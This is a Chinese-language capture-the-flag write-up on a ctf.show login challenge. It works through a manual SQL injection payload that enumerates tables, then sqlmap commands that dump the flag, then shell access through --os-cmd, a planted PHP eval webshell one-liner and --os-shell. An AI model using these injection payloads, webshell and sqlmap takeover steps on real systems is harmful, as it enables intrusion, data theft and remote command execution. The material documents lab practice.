前言
本来是想做两道简单的ctf解压,结果写笔记的时候联想到练习使用sqlmap和sql注入getshell这两件事,因此有了这篇文章。
手工注入
输入内容,打开burp抓包
![image-20220326141131707](https://img-blog.csdnimg.cn/img_convert/915a4144b14c1fce77ebfbee8b211266.png)
直觉测试了下万能密码,能成
![image-20220326141312071](https://img-blog.csdnimg.cn/img_convert/e91d07b643dd883d3478261e241c4bc9.png)
这里我们可以假设题目的sql语句为 where username=2 and password=3 or 1=1 ,由于SQL语句中,and优先级大于or,因此无论or左边为0或1,or右边为1,则结果为1
这里我在navicat测试了下:
![image-20220326141413230](https://img-blog.csdnimg.cn/img_convert/7ff3b64ffe6efbec5c7d0244f7ab2ada.png)
用order by 语句测出该数据表有三列
那么我们可以使用联合查询,下图可见回显2所在的位置
![image-20220326141517561](https://img-blog.csdnimg.cn/img_convert/c7ce3ca9583d38daa40cddb594a35562.png)
爆表名
username=2&password=3' or 1=1 union select 1,(select group_concat( table_name) from information_schema.``TABLES`` where table_schema=database() limit 0,1),3 #
![image-20220325104245704](https://img-blog.csdnimg.cn/img_convert/d55b0d379b84579172f2c86329ff5cf7.png)
爆字段名,查询字段内容
![image-20220325104426511](https://img-blog.csdnimg.cn/img_convert/733b1da8024800430bee35076df36708.png)
关于sql注入我会的姿势太少了 得多学点 先去把sqllab全刷了吧
SQLMAP注入
用sqlmap如何跑这道题呢,如下
获取数据库名 这里可以用currentdbs那个选项爆出当前数据库名
# 参数解析
# -u 指定目标url --data post传参 --dbs 爆出所有数据库 --batch 所有选项默认,不用询问用户
root@VM-4-11-ubuntu:/home/ubuntu/sqlmap# python3 sqlmap.py -u http://af6fd51b-469d-49af-9d08-7f61824af707.challenge.ctf.show/ --data 'username=1&password=2' --dbs --batch
...中间略去...
[15:00:45] [INFO] fetching database names
available databases [6]:
[*] ctftraining
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
[*] web2
[15:00:46] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/af6fd51b-469d-49af-9d08-7f61824af707.challenge.ctf.show'
[*] ending @ 15:00:46 /2022-03-25/
爆出数据表
# 参数解析
# -D 指定数据库 --tables 爆出数据库中的数据表
root@VM-4-11-ubuntu:/home/ubuntu/sqlmap# python3 sqlmap.py -u http://af6fd51b-469d-49af-9d08-7f61824af707.challenge.ctf.show/ --data 'username=1&password=2' -D web2 --tables --batch
...中间略去...
[15:10:56] [INFO] fetching tables for database: 'web2'
Database: web2
[2 tables]
+------+
| user |
| flag |
+------+
显示字段名
# 参数解析
# -T 指定数据表 --columns 指定列名
root@VM-4-11-ubuntu:/home/ubuntu/sqlmap# python3 sqlmap.py -u http://af6fd51b-469d-49af-9d08-7f61824af707.challenge.ctf.show/ --data 'username=1&password=2' -D web2 -T flag --columns --batch
...中间略去...
Database: web2
Table: flag
[1 column]
+--------+--------------+
| Column | Type |
+--------+--------------+
| flag | varchar(255) |
+--------+--------------+
显示字段内容
# 参数解析
# -C 指定字段名 --dump显示结果
root@VM-4-11-ubuntu:/home/ubuntu/sqlmap# python3 sqlmap.py -u http://bdd615f7-5359-411b-84da-e14b81c3eb78.challenge.ctf.show/ --data 'username=1&password=2' -D web2 -T flag -C flag --dump --batch
...中间略去...
Database: web2
Table: flag
[1 entry]
+-----------------------------------------------+
| flag |
+-----------------------------------------------+
| ctfshow{0a986dd4-486d-9f03-d2f2aecd1790} |
+-----------------------------------------------+
getshell(测试着玩下,对这道题用处好像不大)
想要sqlmap测试下拿shell利用,这里可以查看sqlmap怎么拿shell以及这个大佬的github笔记
拿sqlshell涉及到几个关键词,mysql的secure_file_priv,php的magic_quotes_gpc,mysql oracle sqlserver 都有提到一个词 dba,一种权限级别或者是用户身份
ubuntu@VM-4-11-ubuntu:~/sqlmap$ python3 sqlmap.py -u 0c520642-70d7-44a9-856d-4a11579203da.challenge.ctf.show --data "username=1&password=2" --batch --is-dba
---
[09:10:21] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.3.11, Nginx 1.21.1
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[09:10:22] [INFO] testing if current user is DBA
[09:10:22] [INFO] fetching current user
current user is DBA: True
[09:10:22] [INFO] fetched data logged to text files under
这道题有dba权限,有dba权限时,sqlmap可以写文件
大佬的文章
接下来是–os-cmd,最开始我一直分不清它跟前者到底有什么关系,后来才明白这个是不需要你输入路径的,我们只需要看自己的权限,是不是DBA权限–is-dba。看开启xp_cmdshell没有,如果开启了,那就可以使用。
关于os-shell sql-shell xp_cmdshell udf 可以看下这篇文章
root@VM-4-11-ubuntu:/home/ubuntu/sqlmap# python3 sqlmap.py -u http://92953e49-0b3d-45a5-b0bc-0d48f0dbb9a7.challenge.ctf.show/ --data "username=1&password=2" --batch --os-cmd=ls
....
command standard output:
---
index.php
tmpbzqxk.php
tmpukdfw.php
tmpuwzwq.php
---
#既然能够执行命令,可以试着写入文件
#echo "<?php phpinfo(); ?>" > lf.php
#echo "<?php @eval($_POST['ant']); ?>" > lf.php
root@VM-4-11-ubuntu:/home/ubuntu/sqlmap# python3 sqlmap.py -hh | grep "cmd"
--os-cmd=OSCMD Execute an operating system command
root@VM-4-11-ubuntu:/home/ubuntu/sqlmap# python3 sqlmap.py -u http://92953e49-0b3d-45a5-b0bc-0d48f0dbb9a7.challenge.ctf.show/ --data "username=1&password=2" --batch --os-cmd='echo "<?php phpinfo(); ?>" > lf.php'
先写了个phpinfo文件,查看下,欸嘿有了
![image-20220326104614182](https://img-blog.csdnimg.cn/img_convert/f5a4961984faf86367daa36cd809a911.png)
也写入了一句话木马,但是不知道什么原因蚁剑连接不到shell,我本机也连不到,暂时先不管这事了
os-shell
root@VM-4-11-ubuntu:/home/ubuntu/sqlmap# python3 sqlmap.py -u http://fe088744-cf7f-47c8-bbce-b49d55c2e328.challenge.ctf.show/ --data "username=1&password=2" --batch --os-shell
总结
这个题比较简单,没有进行任何过滤,因此只是作为sqlmap初次学习,getshell初次学习使用,实际应该是碰不到这么简单的情况的